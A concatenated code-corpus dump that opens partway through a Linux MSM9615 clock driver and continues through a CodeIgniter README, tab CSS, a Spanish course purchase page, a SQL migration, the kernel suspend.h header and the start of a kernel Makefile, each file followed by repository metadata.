CLK_LOOKUP("pcm_clk", pcm_clk.c, NULL),
CLK_LOOKUP("sps_slimbus_clk", sps_slimbus_clk.c, NULL),
CLK_LOOKUP("audio_slimbus_clk", audio_slimbus_clk.c, NULL),
CLK_LOOKUP("dfab_usb_hs_clk", dfab_usb_hs_clk.c, NULL),
CLK_LOOKUP("bus_clk", dfab_sdc1_clk.c, "msm_sdcc.1"),
CLK_LOOKUP("bus_clk", dfab_sdc2_clk.c, "msm_sdcc.2"),
CLK_LOOKUP("dfab_clk", dfab_sps_clk.c, "msm_sps"),
CLK_LOOKUP("bus_clk", dfab_bam_dmux_clk.c, "BAM_RMNT"),
CLK_LOOKUP("mem_clk", ebi1_adm_clk.c, "msm_dmov"),
CLK_LOOKUP("iface_clk", ce1_p_clk.c, "qce.0"),
CLK_LOOKUP("iface_clk", ce1_p_clk.c, "qcrypto.0"),
CLK_LOOKUP("core_clk", ce1_core_clk.c, "qce.0"),
CLK_LOOKUP("core_clk", ce1_core_clk.c, "qcrypto.0"),
/* TODO: Make this real when RPM's ready. */
CLK_DUMMY("ebi1_msmbus_clk", ebi1_msmbus_clk.c, NULL, OFF),
CLK_DUMMY("mem_clk", ebi1_adm_clk.c, "msm_dmov", OFF),
};
static void set_fsm_mode(void __iomem *mode_reg)
{
u32 regval = readl_relaxed(mode_reg);
/* De-assert reset to FSM */
regval &= ~BIT(21);
writel_relaxed(regval, mode_reg);
/* Program bias count */
regval &= ~BM(19, 14);
regval |= BVAL(19, 14, 0x1);
writel_relaxed(regval, mode_reg);
/* Program lock count */
regval &= ~BM(13, 8);
regval |= BVAL(13, 8, 0x8);
writel_relaxed(regval, mode_reg);
/* Enable PLL FSM voting */
regval |= BIT(20);
writel_relaxed(regval, mode_reg);
}
/*
* Miscellaneous clock register initializations
*/
static void __init reg_init(void)
{
u32 regval, is_pll_enabled;
/* Enable PDM CXO source. */
regval = readl_relaxed(PDM_CLK_NS_REG);
writel_relaxed(BIT(13) | regval, PDM_CLK_NS_REG);
/* Check if PLL0 is active */
is_pll_enabled = readl_relaxed(BB_PLL0_STATUS_REG) & BIT(16);
if (!is_pll_enabled) {
writel_relaxed(0xE, BB_PLL0_L_VAL_REG);
writel_relaxed(0x3, BB_PLL0_M_VAL_REG);
writel_relaxed(0x8, BB_PLL0_N_VAL_REG);
regval = readl_relaxed(BB_PLL0_CONFIG_REG);
/* Enable the main output and the MN accumulator */
regval |= BIT(23) | BIT(22);
/* Set pre-divider and post-divider values to 1 and 1 */
regval &= ~BIT(19);
regval &= ~BM(21, 20);
/* Set VCO frequency */
regval &= ~BM(17, 16);
writel_relaxed(regval, BB_PLL0_CONFIG_REG);
/* Enable AUX output */
regval = readl_relaxed(BB_PLL0_TEST_CTL_REG);
regval |= BIT(12);
writel_relaxed(regval, BB_PLL0_TEST_CTL_REG);
set_fsm_mode(BB_PLL0_MODE_REG);
}
/* Check if PLL9 (SC_PLL0) is enabled in FSM mode */
is_pll_enabled = readl_relaxed(SC_PLL0_STATUS_REG) & BIT(16);
if (!is_pll_enabled) {
writel_relaxed(0x16, SC_PLL0_L_VAL_REG);
writel_relaxed(0xB, SC_PLL0_M_VAL_REG);
writel_relaxed(0xC, SC_PLL0_N_VAL_REG);
regval = readl_relaxed(SC_PLL0_CONFIG_REG);
/* Enable main output and the MN accumulator */
regval |= BIT(23) | BIT(22);
/* Set pre-divider and post-divider values to 1 and 1 */
regval &= ~BIT(19);
regval &= ~BM(21, 20);
/* Set VCO frequency */
regval &= ~BM(17, 16);
writel_relaxed(regval, SC_PLL0_CONFIG_REG);
set_fsm_mode(SC_PLL0_MODE_REG);
} else if (!(readl_relaxed(SC_PLL0_MODE_REG) & BIT(20)))
WARN(1, "PLL9 enabled in non-FSM mode!\n");
/* Check if PLL14 is enabled in FSM mode */
is_pll_enabled = readl_relaxed(BB_PLL14_STATUS_REG) & BIT(16);
if (!is_pll_enabled) {
writel_relaxed(0x19, BB_PLL14_L_VAL_REG);
writel_relaxed(0x0, BB_PLL14_M_VAL_REG);
writel_relaxed(0x1, BB_PLL14_N_VAL_REG);
regval = readl_relaxed(BB_PLL14_CONFIG_REG);
/* Enable main output and the MN accumulator */
regval |= BIT(23) | BIT(22);
/* Set pre-divider and post-divider values to 1 and 1 */
regval &= ~BIT(19);
regval &= ~BM(21, 20);
/* Set VCO frequency */
regval &= ~BM(17, 16);
writel_relaxed(regval, BB_PLL14_CONFIG_REG);
set_fsm_mode(BB_PLL14_MODE_REG);
} else if (!(readl_relaxed(BB_PLL14_MODE_REG) & BIT(20)))
WARN(1, "PLL14 enabled in non-FSM mode!\n");
/* Enable PLL4 source on the LPASS Primary PLL Mux */
regval = readl_relaxed(LCC_PRI_PLL_CLK_CTL_REG);
writel_relaxed(regval | BIT(0), LCC_PRI_PLL_CLK_CTL_REG);
/* Disable hardware clock gating on certain clocks */
regval = readl_relaxed(USB_HSIC_HCLK_CTL_REG);
regval &= ~BIT(6);
writel_relaxed(regval, USB_HSIC_HCLK_CTL_REG);
regval = readl_relaxed(CE1_CORE_CLK_CTL_REG);
regval &= ~BIT(6);
writel_relaxed(regval, CE1_CORE_CLK_CTL_REG);
regval = readl_relaxed(USB_HS1_HCLK_CTL_REG);
regval &= ~BIT(6);
writel_relaxed(regval, USB_HS1_HCLK_CTL_REG);
}
/* Local clock driver initialization. */
static void __init msm9615_clock_init(void)
{
xo_cxo = msm_xo_get(MSM_XO_CXO, "clock-9615");
if (IS_ERR(xo_cxo)) {
pr_err("%s: msm_xo_get(CXO) failed.\n", __func__);
BUG();
}
vote_vdd_level(&vdd_dig, VDD_DIG_HIGH);
clk_ops_pll.enable = sr_pll_clk_enable;
/* Initialize clock registers. */
reg_init();
/* Initialize rates for clocks that only support one. */
clk_set_rate(&pdm_clk.c, 19200000);
clk_set_rate(&prng_clk.c, 32000000);
clk_set_rate(&usb_hs1_xcvr_clk.c, 60000000);
clk_set_rate(&usb_hs1_sys_clk.c, 60000000);
clk_set_rate(&usb_hsic_xcvr_clk.c, 60000000);
clk_set_rate(&usb_hsic_sys_clk.c, 64000000);
clk_set_rate(&usb_hsic_clk.c, 480000000);
/*
* The halt status bits for PDM may be incorrect at boot.
* Toggle these clocks on and off to refresh them.
*/
rcg_clk_enable(&pdm_clk.c);
rcg_clk_disable(&pdm_clk.c);
}
static int __init msm9615_clock_late_init(void)
{
return unvote_vdd_level(&vdd_dig, VDD_DIG_HIGH);
}
struct clock_init_data msm9615_clock_init_data __initdata = {
.table = msm_clocks_9615,
.size = ARRAY_SIZE(msm_clocks_9615),
.init = msm9615_clock_init,
.late_init = msm9615_clock_late_init,
};
|
dkthompson/bricked-pyramid-3.0_own
|
arch/arm/mach-msm/clock-9615.c
|
C
|
gpl-2.0
| 52,189
|
# easyCodeigniter
Automatically create Codeigniter Controller and View files. And connect them to database. Only need to enter database atributes into script via a command line argument
|
thilina-sameera/easyCodeigniter
|
README.md
|
Markdown
|
gpl-2.0
| 186
|
/* Labels
------------------------------------ */
.fl-tabs-label {
cursor: pointer;
}
.fl-tabs-label {
padding: 12px 18px;
}
.fl-tabs-label.fl-tab-active {
background: #fff;
position: relative;
z-index: 1;
}
.fl-tabs-label.fl-tab-active:focus {
outline: 0;
}
/* Panel Labels
------------------------------------ */
.fl-tabs-panel-label {
display: none;
}
.fl-tabs-panel-label span {
display: table-cell;
width: 100%;
}
.fl-tabs-panel-label .fa {
display: table-cell;
line-height: inherit;
opacity: .5;
filter: alpha(opacity = 50);
padding-left: 15px;
vertical-align: middle;
}
/* Panels
------------------------------------ */
.fl-tabs-panels {
background: #fff;
border-width: 1px;
border-style: solid;
}
.fl-tabs-panel-content {
display: none;
padding: 18px;
}
.fl-tabs-panel-content.fl-tab-active {
display: block;
}
.fl-tabs-panel-content p:last-child {
margin-bottom: 0;
padding-bottom: 0;
}
/* Horizontal
------------------------------------ */
.fl-tabs-horizontal .fl-tabs-label {
float: left;
}
.fl-tabs-horizontal .fl-tabs-labels .fl-tabs-label {
border: 1px solid transparent;
border-bottom: none;
}
.fl-tabs-horizontal .fl-tabs-label.fl-tab-active {
border-width: 1px;
border-style: solid;
border-bottom: none !important;
}
.fl-tabs-horizontal .fl-tabs-label.fl-tab-active:after {
content: '';
background: inherit;
display: block;
width: 100%;
height: 1px;
position: absolute;
bottom: -1px;
left: 0;
}
/* Vertical
------------------------------------ */
.fl-tabs-vertical .fl-tabs-labels {
float: left;
width: 30%;
}
.fl-tabs-vertical .fl-tabs-labels .fl-tabs-label {
border: 1px solid transparent;
border-right: none;
}
.fl-tabs-vertical .fl-tabs-label.fl-tab-active {
border-width: 1px;
border-style: solid;
border-right: none !important;
}
.fl-tabs-vertical .fl-tabs-label.fl-tab-active:after {
content: '';
background: inherit;
display: block;
width: 1px;
position: absolute;
top: 0;
bottom: 0;
right: -1px;
}
.fl-tabs-vertical .fl-tabs-panels {
float: left;
width: 70%;
}
|
isabisa/nccdi
|
wp-content/plugins/bb-plugin/modules/tabs/css/frontend.css
|
CSS
|
gpl-2.0
| 2,055
|
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Compulearning :: Curso Excel para Todos - Compra Gráficas en Excel</title>
<link rel="shortcut icon" href="favicon.ico" />
<link href="stylesheets/styles.css" rel="stylesheet" type="text/css" />
<link href="stylesheets/owl.carousel.css" rel="stylesheet" type="text/css" />
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-57852901-1', 'auto');
ga('send', 'pageview');
</script>
</head>
<body>
<!-- ///////////////////////////////////////////////////////////////
MENU PPAL
/////////////////////////////////////////////////////////////// -->
<header>
<div class="top_header row">
<div class="social_nav container">
<ul class="col-xs-2 pull-right">
<li class="linkedin_small pull-right"><a href=""></a></li>
<li class="twitter_small pull-right"><a href="https://twitter.com/CompuLearning1"></a></li>
<li class="facebook_small pull-right"><a href="https://www.facebook.com/CompuLearningsas.edu.co?fref=ts"></a></li>
</ul>
</div>
</div>
<div class="main_header row">
<div class="container_main_nav container">
<div class="container_logo col-xs-2">
<a href="index.html"><div class="logo"></div></a>
</div>
<ul class="container_main_nav col-xs-9 pull-right">
<li>
<a href="contactenos.html">
<span class="nav8"></span>
<div class="container_nav_txt">
<span>CONTÁCTENOS</span>
</div>
</a>
</li>
<li>
<a href="http://compulearning2.azurewebsites.net/certificados.php">
<span class="nav7"></span>
<div class="container_nav_txt">
<span>CERTIFICADOS</span>
</div>
</a>
</li>
<li>
<a href="http://compulearning2.azurewebsites.net/instituciones-educativas.html">
<span class="nav6"></span>
<div class="container_nav_txt">
<span>INST. EDUCATIVAS</span>
</div>
</a>
</li>
<li>
<a href="http://compulearning2.azurewebsites.net/ingresar.php">
<span class="nav5"></span>
<div class="container_nav_txt">
<span>PROFESORES</span>
</div>
</a>
</li>
<li>
<a href="http://www.compulearning.edu.co/CompulearningEduCo/cursos-presenciales-capacitacion-empresarial.html">
<span class="nav4"></span>
<div class="container_nav_txt">
<span>CURSOS PRESENCIALES</span>
</div>
</a>
</li>
<li>
<a href="metodo.html">
<span class="nav3"></span>
<div class="container_nav_txt">
<span>MÉTODO</span>
</div>
</a>
</li>
<li>
<a href="nosotros.html">
<span class="nav2"></span>
<div class="container_nav_txt">
<span>NOSOTROS</span>
</div>
</a>
</li>
<li>
<a href="index.html">
<span class="nav1"></span>
<div class="container_nav_txt">
<span>INICIO</span>
</div>
</a>
</li>
</ul>
</div>
</div>
</header>
<!-- ///////////////////////////////////////////////////////////////
CONTENIDO
/////////////////////////////////////////////////////////////// -->
<section class="main_content inner">
<article class="container_compra_curso col-xs-12">
<div class="container">
<h1 class="col-xs-12">PROCESO DE COMPRA CURSO GRÁFICAS EN EXCEL</h1>
<div class="row">
<article class="col-xs-5">
<h3>Pago en efectivo</h3>
<p>Si desea efectuar el pago en efectivo, puede hacerlo por medio de alguna de las siguientes opciones:</p>
<p>• Consignar en DAVIVIENDA, cuenta de ahorros empresarial No 006900673275 y enviar un correo a info@compulearning.edu.co con el número de la consignación. (parte superior derecha del formato Davivienda).</p>
<p>• Asistir a nuestras instalaciones en Bogotá en la Cra. 18 No. 78-40 Of. 403</p>
<a class="btn_exito" href="contactenos.html">Ver Mapa</a>
</article>
<article class=" container_form col-xs-7">
<h3>Pago ONLINE</h3>
<!-- ///////////////////////////////////////////////////////////////
FORM GRÁFICAS
/////////////////////////////////////////////////////////////// -->
{module_contentholder,416708}
<!--end_form-->
</article><!--end_container_form-->
</div>
</div>
</article>
</section>
<!-- ///////////////////////////////////////////////////////////////
FOOTER
/////////////////////////////////////////////////////////////// -->
<footer class="footer">
<section class="container">
<ul class="container_info col-xs-4">
<li><strong>Dirección:</strong> Cra 18 N° 78 - 40 Of. 403 - Bogotá - Colombia </li>
<li><strong>Correo Electrónico:</strong> info@compulearning.edu.co </li>
<li><strong>Teléfonos:</strong> +571 621 9327 - 621 9303 - 621 8317 </li>
<li><strong>Móvil:</strong> +57 312 431 3742</li>
</ul>
<ul class="container_bottom_nav col-xs-8">
<li><a href="contactenos.html">CONTÁCTENOS</a></li>
<li><a href="http://compulearning2.azurewebsites.net/certificados.php">CERTIFICADOS</a></li>
<li><a href="http://compulearning2.azurewebsites.net/instituciones-educativas.html">INST. EDUCATIVAS</a></li>
<li><a href="http://compulearning2.azurewebsites.net/ingresar.php">PROFESORES</a></li>
<li><a href="http://www.compulearning.edu.co/CompulearningEduCo/cursos-presenciales-capacitacion-empresarial.html">PRESENCIALES</a></li>
<li><a href="metodo.html">MÉTODO</a></li>
<li><a href="nosotros.html">NOSOTROS</a></li>
</ul>
<div class="container_credits col-xs-12 text-right">
<a target="_blank" href="http://www.innov.com.co">powered by <strong>INNOV</strong></a>
</div>
</section>
</footer>
{module_contentholder,377304}<!--Compulearning_scripts-->
</body>
</html>
|
andrescabsi14/corg
|
wp-content/themes/CompulearningOrg/compra-excel-graficas.html
|
HTML
|
gpl-2.0
| 6,120
|
ALTER TABLE [dbo].[EnrollmentTransaction] WITH NOCHECK ADD CONSTRAINT [ENROLLMENT_TRANSACTION_ORG_FK] FOREIGN KEY ([OrganizationId]) REFERENCES [dbo].[Organizations] ([OrganizationId])
ALTER TABLE [dbo].[EnrollmentTransaction] WITH NOCHECK ADD CONSTRAINT [ENROLLMENT_TRANSACTION_PPL_FK] FOREIGN KEY ([PeopleId]) REFERENCES [dbo].[People] ([PeopleId])
ALTER TABLE [dbo].[EnrollmentTransaction] WITH NOCHECK ADD CONSTRAINT [FK_ENROLLMENT_TRANSACTION_TBL_MemberType] FOREIGN KEY ([MemberTypeId]) REFERENCES [lookup].[MemberType] ([Id])
GO
IF @@ERROR<>0 AND @@TRANCOUNT>0 ROLLBACK TRANSACTION
GO
IF @@TRANCOUNT=0 BEGIN INSERT INTO #tmpErrors (Error) SELECT 1 BEGIN TRANSACTION END
GO
|
sengithub/SenSourcecode
|
SqlScripts/BuildDb/Adding_foreignkeystodbo_EnrollmentTransaction.sql
|
SQL
|
gpl-2.0
| 683
|
#ifndef _LINUX_SUSPEND_H
#define _LINUX_SUSPEND_H
#include <linux/swap.h>
#include <linux/notifier.h>
#include <linux/init.h>
#include <linux/pm.h>
#include <linux/mm.h>
#include <linux/freezer.h>
#include <asm/errno.h>
#ifdef CONFIG_VT
extern void pm_set_vt_switch(int);
#else
static inline void pm_set_vt_switch(int do_switch)
{
}
#endif
#ifdef CONFIG_VT_CONSOLE_SLEEP
extern int pm_prepare_console(void);
extern void pm_restore_console(void);
#else
static inline int pm_prepare_console(void)
{
return 0;
}
static inline void pm_restore_console(void)
{
}
#endif
typedef int __bitwise suspend_state_t;
#define PM_SUSPEND_ON ((__force suspend_state_t) 0)
#define PM_SUSPEND_FREEZE ((__force suspend_state_t) 1)
#define PM_SUSPEND_STANDBY ((__force suspend_state_t) 2)
#define PM_SUSPEND_MEM ((__force suspend_state_t) 3)
#define PM_SUSPEND_MIN PM_SUSPEND_FREEZE
#define PM_SUSPEND_MAX ((__force suspend_state_t) 4)
enum suspend_stat_step {
SUSPEND_FREEZE = 1,
SUSPEND_PREPARE,
SUSPEND_SUSPEND,
SUSPEND_SUSPEND_LATE,
SUSPEND_SUSPEND_NOIRQ,
SUSPEND_RESUME_NOIRQ,
SUSPEND_RESUME_EARLY,
SUSPEND_RESUME
};
struct suspend_stats {
int success;
int fail;
int failed_freeze;
int failed_prepare;
int failed_suspend;
int failed_suspend_late;
int failed_suspend_noirq;
int failed_resume;
int failed_resume_early;
int failed_resume_noirq;
#define REC_FAILED_NUM 2
int last_failed_dev;
char failed_devs[REC_FAILED_NUM][40];
int last_failed_errno;
int errno[REC_FAILED_NUM];
int last_failed_step;
enum suspend_stat_step failed_steps[REC_FAILED_NUM];
};
extern struct suspend_stats suspend_stats;
static inline void dpm_save_failed_dev(const char *name)
{
strlcpy(suspend_stats.failed_devs[suspend_stats.last_failed_dev],
name,
sizeof(suspend_stats.failed_devs[0]));
suspend_stats.last_failed_dev++;
suspend_stats.last_failed_dev %= REC_FAILED_NUM;
}
static inline void dpm_save_failed_errno(int err)
{
suspend_stats.errno[suspend_stats.last_failed_errno] = err;
suspend_stats.last_failed_errno++;
suspend_stats.last_failed_errno %= REC_FAILED_NUM;
}
static inline void dpm_save_failed_step(enum suspend_stat_step step)
{
suspend_stats.failed_steps[suspend_stats.last_failed_step] = step;
suspend_stats.last_failed_step++;
suspend_stats.last_failed_step %= REC_FAILED_NUM;
}
/**
* struct platform_suspend_ops - Callbacks for managing platform dependent
* system sleep states.
*
* @valid: Callback to determine if given system sleep state is supported by
* the platform.
* Valid (ie. supported) states are advertised in /sys/power/state. Note
* that it still may be impossible to enter given system sleep state if the
* conditions aren't right.
* There is the %suspend_valid_only_mem function available that can be
* assigned to this if the platform only supports mem sleep.
*
* @begin: Initialise a transition to given system sleep state.
* @begin() is executed right prior to suspending devices. The information
* conveyed to the platform code by @begin() should be disregarded by it as
* soon as @end() is executed. If @begin() fails (ie. returns nonzero),
* @prepare(), @enter() and @finish() will not be called by the PM core.
* This callback is optional. However, if it is implemented, the argument
* passed to @enter() is redundant and should be ignored.
*
* @prepare: Prepare the platform for entering the system sleep state indicated
* by @begin().
* @prepare() is called right after devices have been suspended (ie. the
* appropriate .suspend() method has been executed for each device) and
* before device drivers' late suspend callbacks are executed. It returns
* 0 on success or a negative error code otherwise, in which case the
* system cannot enter the desired sleep state (@prepare_late(), @enter(),
* and @wake() will not be called in that case).
*
* @prepare_late: Finish preparing the platform for entering the system sleep
* state indicated by @begin().
* @prepare_late is called before disabling nonboot CPUs and after
* device drivers' late suspend callbacks have been executed. It returns
* 0 on success or a negative error code otherwise, in which case the
* system cannot enter the desired sleep state (@enter() will not be
* executed).
*
* @enter: Enter the system sleep state indicated by @begin() or represented by
* the argument if @begin() is not implemented.
* This callback is mandatory. It returns 0 on success or a negative
* error code otherwise, in which case the system cannot enter the desired
* sleep state.
*
* @wake: Called when the system has just left a sleep state, right after
* the nonboot CPUs have been enabled and before device drivers' early
* resume callbacks are executed.
* This callback is optional, but should be implemented by the platforms
* that implement @prepare_late(). If implemented, it is always called
* after @prepare_late and @enter(), even if one of them fails.
*
* @finish: Finish wake-up of the platform.
* @finish is called right prior to calling device drivers' regular suspend
* callbacks.
* This callback is optional, but should be implemented by the platforms
* that implement @prepare(). If implemented, it is always called after
* @enter() and @wake(), even if any of them fails. It is executed after
* a failing @prepare.
*
* @suspend_again: Returns whether the system should suspend again (true) or
* not (false). If the platform wants to poll sensors or execute some
* code during suspended without invoking userspace and most of devices,
* suspend_again callback is the place assuming that periodic-wakeup or
* alarm-wakeup is already setup. This allows to execute some codes while
* being kept suspended in the view of userland and devices.
*
* @end: Called by the PM core right after resuming devices, to indicate to
* the platform that the system has returned to the working state or
* the transition to the sleep state has been aborted.
* This callback is optional, but should be implemented by the platforms
* that implement @begin(). Accordingly, platforms implementing @begin()
* should also provide a @end() which cleans up transitions aborted before
* @enter().
*
* @recover: Recover the platform from a suspend failure.
* Called by the PM core if the suspending of devices fails.
* This callback is optional and should only be implemented by platforms
* which require special recovery actions in that situation.
*/
struct platform_suspend_ops {
int (*valid)(suspend_state_t state);
int (*begin)(suspend_state_t state);
int (*prepare)(void);
int (*prepare_late)(void);
int (*enter)(suspend_state_t state);
void (*wake)(void);
void (*finish)(void);
bool (*suspend_again)(void);
void (*end)(void);
void (*recover)(void);
};
#ifdef CONFIG_SUSPEND
/**
* suspend_set_ops - set platform dependent suspend operations
* @ops: The new suspend operations to set.
*/
extern void suspend_set_ops(const struct platform_suspend_ops *ops);
extern int suspend_valid_only_mem(suspend_state_t state);
extern void freeze_wake(void);
/**
* arch_suspend_disable_irqs - disable IRQs for suspend
*
* Disables IRQs (in the default case). This is a weak symbol in the common
* code and thus allows architectures to override it if more needs to be
* done. Not called for suspend to disk.
*/
extern void arch_suspend_disable_irqs(void);
/**
* arch_suspend_enable_irqs - enable IRQs after suspend
*
* Enables IRQs (in the default case). This is a weak symbol in the common
* code and thus allows architectures to override it if more needs to be
* done. Not called for suspend to disk.
*/
extern void arch_suspend_enable_irqs(void);
extern int pm_suspend(suspend_state_t state);
#else /* !CONFIG_SUSPEND */
#define suspend_valid_only_mem NULL
static inline void suspend_set_ops(const struct platform_suspend_ops *ops) {}
static inline int pm_suspend(suspend_state_t state) { return -ENOSYS; }
static inline void freeze_wake(void) {}
#endif /* !CONFIG_SUSPEND */
/* struct pbe is used for creating lists of pages that should be restored
* atomically during the resume from disk, because the page frames they have
* occupied before the suspend are in use.
*/
struct pbe {
void *address; /* address of the copy */
void *orig_address; /* original address of a page */
struct pbe *next;
};
/* mm/page_alloc.c */
extern void mark_free_pages(struct zone *zone);
/**
* struct platform_hibernation_ops - hibernation platform support
*
* The methods in this structure allow a platform to carry out special
* operations required by it during a hibernation transition.
*
* All the methods below, except for @recover(), must be implemented.
*
* @begin: Tell the platform driver that we're starting hibernation.
* Called right after shrinking memory and before freezing devices.
*
* @end: Called by the PM core right after resuming devices, to indicate to
* the platform that the system has returned to the working state.
*
* @pre_snapshot: Prepare the platform for creating the hibernation image.
* Called right after devices have been frozen and before the nonboot
* CPUs are disabled (runs with IRQs on).
*
* @finish: Restore the previous state of the platform after the hibernation
* image has been created *or* put the platform into the normal operation
* mode after the hibernation (the same method is executed in both cases).
* Called right after the nonboot CPUs have been enabled and before
* thawing devices (runs with IRQs on).
*
* @prepare: Prepare the platform for entering the low power state.
* Called right after the hibernation image has been saved and before
* devices are prepared for entering the low power state.
*
* @enter: Put the system into the low power state after the hibernation image
* has been saved to disk.
* Called after the nonboot CPUs have been disabled and all of the low
* level devices have been shut down (runs with IRQs off).
*
* @leave: Perform the first stage of the cleanup after the system sleep state
* indicated by @set_target() has been left.
* Called right after the control has been passed from the boot kernel to
* the image kernel, before the nonboot CPUs are enabled and before devices
* are resumed. Executed with interrupts disabled.
*
* @pre_restore: Prepare system for the restoration from a hibernation image.
* Called right after devices have been frozen and before the nonboot
* CPUs are disabled (runs with IRQs on).
*
* @restore_cleanup: Clean up after a failing image restoration.
* Called right after the nonboot CPUs have been enabled and before
* thawing devices (runs with IRQs on).
*
* @recover: Recover the platform from a failure to suspend devices.
* Called by the PM core if the suspending of devices during hibernation
* fails. This callback is optional and should only be implemented by
* platforms which require special recovery actions in that situation.
*/
struct platform_hibernation_ops {
int (*begin)(void);
void (*end)(void);
int (*pre_snapshot)(void);
void (*finish)(void);
int (*prepare)(void);
int (*enter)(void);
void (*leave)(void);
int (*pre_restore)(void);
void (*restore_cleanup)(void);
void (*recover)(void);
};
#ifdef CONFIG_HIBERNATION
/* kernel/power/snapshot.c */
extern void __register_nosave_region(unsigned long b, unsigned long e, int km);
static inline void __init register_nosave_region(unsigned long b, unsigned long e)
{
__register_nosave_region(b, e, 0);
}
static inline void __init register_nosave_region_late(unsigned long b, unsigned long e)
{
__register_nosave_region(b, e, 1);
}
extern int swsusp_page_is_forbidden(struct page *);
extern void swsusp_set_page_free(struct page *);
extern void swsusp_unset_page_free(struct page *);
extern unsigned long get_safe_page(gfp_t gfp_mask);
extern void hibernation_set_ops(const struct platform_hibernation_ops *ops);
extern int hibernate(void);
extern bool system_entering_hibernation(void);
asmlinkage int swsusp_save(void);
extern struct pbe *restore_pblist;
#else /* CONFIG_HIBERNATION */
static inline void register_nosave_region(unsigned long b, unsigned long e) {}
static inline void register_nosave_region_late(unsigned long b, unsigned long e) {}
static inline int swsusp_page_is_forbidden(struct page *p) { return 0; }
static inline void swsusp_set_page_free(struct page *p) {}
static inline void swsusp_unset_page_free(struct page *p) {}
static inline void hibernation_set_ops(const struct platform_hibernation_ops *ops) {}
static inline int hibernate(void) { return -ENOSYS; }
static inline bool system_entering_hibernation(void) { return false; }
#endif /* CONFIG_HIBERNATION */
/* Hibernation and suspend events */
#define PM_HIBERNATION_PREPARE 0x0001 /* Going to hibernate */
#define PM_POST_HIBERNATION 0x0002 /* Hibernation finished */
#define PM_SUSPEND_PREPARE 0x0003 /* Going to suspend the system */
#define PM_POST_SUSPEND 0x0004 /* Suspend finished */
#define PM_RESTORE_PREPARE 0x0005 /* Going to restore a saved image */
#define PM_POST_RESTORE 0x0006 /* Restore failed */
extern struct mutex pm_mutex;
#ifdef CONFIG_PM_SLEEP
void save_processor_state(void);
void restore_processor_state(void);
/* kernel/power/main.c */
extern int register_pm_notifier(struct notifier_block *nb);
extern int unregister_pm_notifier(struct notifier_block *nb);
#define pm_notifier(fn, pri) { \
static struct notifier_block fn##_nb = \
{ .notifier_call = fn, .priority = pri }; \
register_pm_notifier(&fn##_nb); \
}
/* drivers/base/power/wakeup.c */
extern bool events_check_enabled;
extern bool pm_wakeup_pending(void);
extern bool pm_get_wakeup_count(unsigned int *count, bool block);
extern bool pm_save_wakeup_count(unsigned int count);
extern void pm_wakep_autosleep_enabled(bool set);
extern void pm_print_active_wakeup_sources(void);
static inline void lock_system_sleep(void)
{
current->flags |= PF_FREEZER_SKIP;
mutex_lock(&pm_mutex);
}
static inline void unlock_system_sleep(void)
{
/*
* Don't use freezer_count() because we don't want the call to
* try_to_freeze() here.
*
* Reason:
* Fundamentally, we just don't need it, because freezing condition
* doesn't come into effect until we release the pm_mutex lock,
* since the freezer always works with pm_mutex held.
*
* More importantly, in the case of hibernation,
* unlock_system_sleep() gets called in snapshot_read() and
* snapshot_write() when the freezing condition is still in effect.
* Which means, if we use try_to_freeze() here, it would make them
* enter the refrigerator, thus causing hibernation to lockup.
*/
current->flags &= ~PF_FREEZER_SKIP;
mutex_unlock(&pm_mutex);
}
#else /* !CONFIG_PM_SLEEP */
static inline int register_pm_notifier(struct notifier_block *nb)
{
return 0;
}
static inline int unregister_pm_notifier(struct notifier_block *nb)
{
return 0;
}
#define pm_notifier(fn, pri) do { (void)(fn); } while (0)
static inline bool pm_wakeup_pending(void) { return false; }
static inline void lock_system_sleep(void) {}
static inline void unlock_system_sleep(void) {}
#endif /* !CONFIG_PM_SLEEP */
#ifdef CONFIG_PM_SLEEP_DEBUG
extern bool pm_print_times_enabled;
#else
#define pm_print_times_enabled (false)
#endif
#ifdef CONFIG_PM_AUTOSLEEP
/* kernel/power/autosleep.c */
void queue_up_suspend_work(void);
#else /* !CONFIG_PM_AUTOSLEEP */
static inline void queue_up_suspend_work(void) {}
#endif /* !CONFIG_PM_AUTOSLEEP */
#ifdef CONFIG_ARCH_SAVE_PAGE_KEYS
/*
* The ARCH_SAVE_PAGE_KEYS functions can be used by an architecture
* to save/restore additional information to/from the array of page
* frame numbers in the hibernation image. For s390 this is used to
* save and restore the storage key for each page that is included
* in the hibernation image.
*/
unsigned long page_key_additional_pages(unsigned long pages);
int page_key_alloc(unsigned long pages);
void page_key_free(void);
void page_key_read(unsigned long *pfn);
void page_key_memorize(unsigned long *pfn);
void page_key_write(void *address);
#else /* !CONFIG_ARCH_SAVE_PAGE_KEYS */
static inline unsigned long page_key_additional_pages(unsigned long pages)
{
return 0;
}
static inline int page_key_alloc(unsigned long pages)
{
return 0;
}
static inline void page_key_free(void) {}
static inline void page_key_read(unsigned long *pfn) {}
static inline void page_key_memorize(unsigned long *pfn) {}
static inline void page_key_write(void *address) {}
#endif /* !CONFIG_ARCH_SAVE_PAGE_KEYS */
#endif /* _LINUX_SUSPEND_H */
|
12thmantec/novena-linux
|
include/linux/suspend.h
|
C
|
gpl-2.0
| 16,495
|
VERSION = 3
PATCHLEVEL = 10
SUBLEVEL = 94
EXTRAVERSION =
NAME = TOSSUG Baby Fish
# *DOCUMENTATION*
# To see a list of typical targets execute "make help"
# More info can be located in ./README
# Comments in this file are targeted only to the developer, do not
# expect to learn how to build the kernel reading this file.
# Do not:
# o use make's built-in rules and variables
# (this increases performance and avoids hard-to-debug behaviour);
# o print "Entering directory ...";
MAKEFLAGS += -rR --no-print-directory
# Avoid funny character set dependencies
unexport LC_ALL
LC_COLLATE=C
LC_NUMERIC=C
export LC_COLLATE LC_NUMERIC
# We are using a recursive build, so we need to do a little thinking
# to get the ordering right.
#
# Most importantly: sub-Makefiles should only ever modify files in
# their own directory. If in some directory we have a dependency on
# a file in another dir (which doesn't happen often, but it's often
# unavoidable when linking the built-in.o targets which finally
# turn into vmlinux), we will call a sub make in that other dir, and
# after that we are sure that everything which is in that other dir
# is now up to date.
#
# The only cases where we need to modify files which have global
# effects are thus separated out and done before the recursive
# descending is started. They are now explicitly listed as the
# prepare rule.
# To put more focus on warnings, be less verbose as default
# Use 'make V=1' to see the full commands
ifeq ("$(origin V)", "command line")
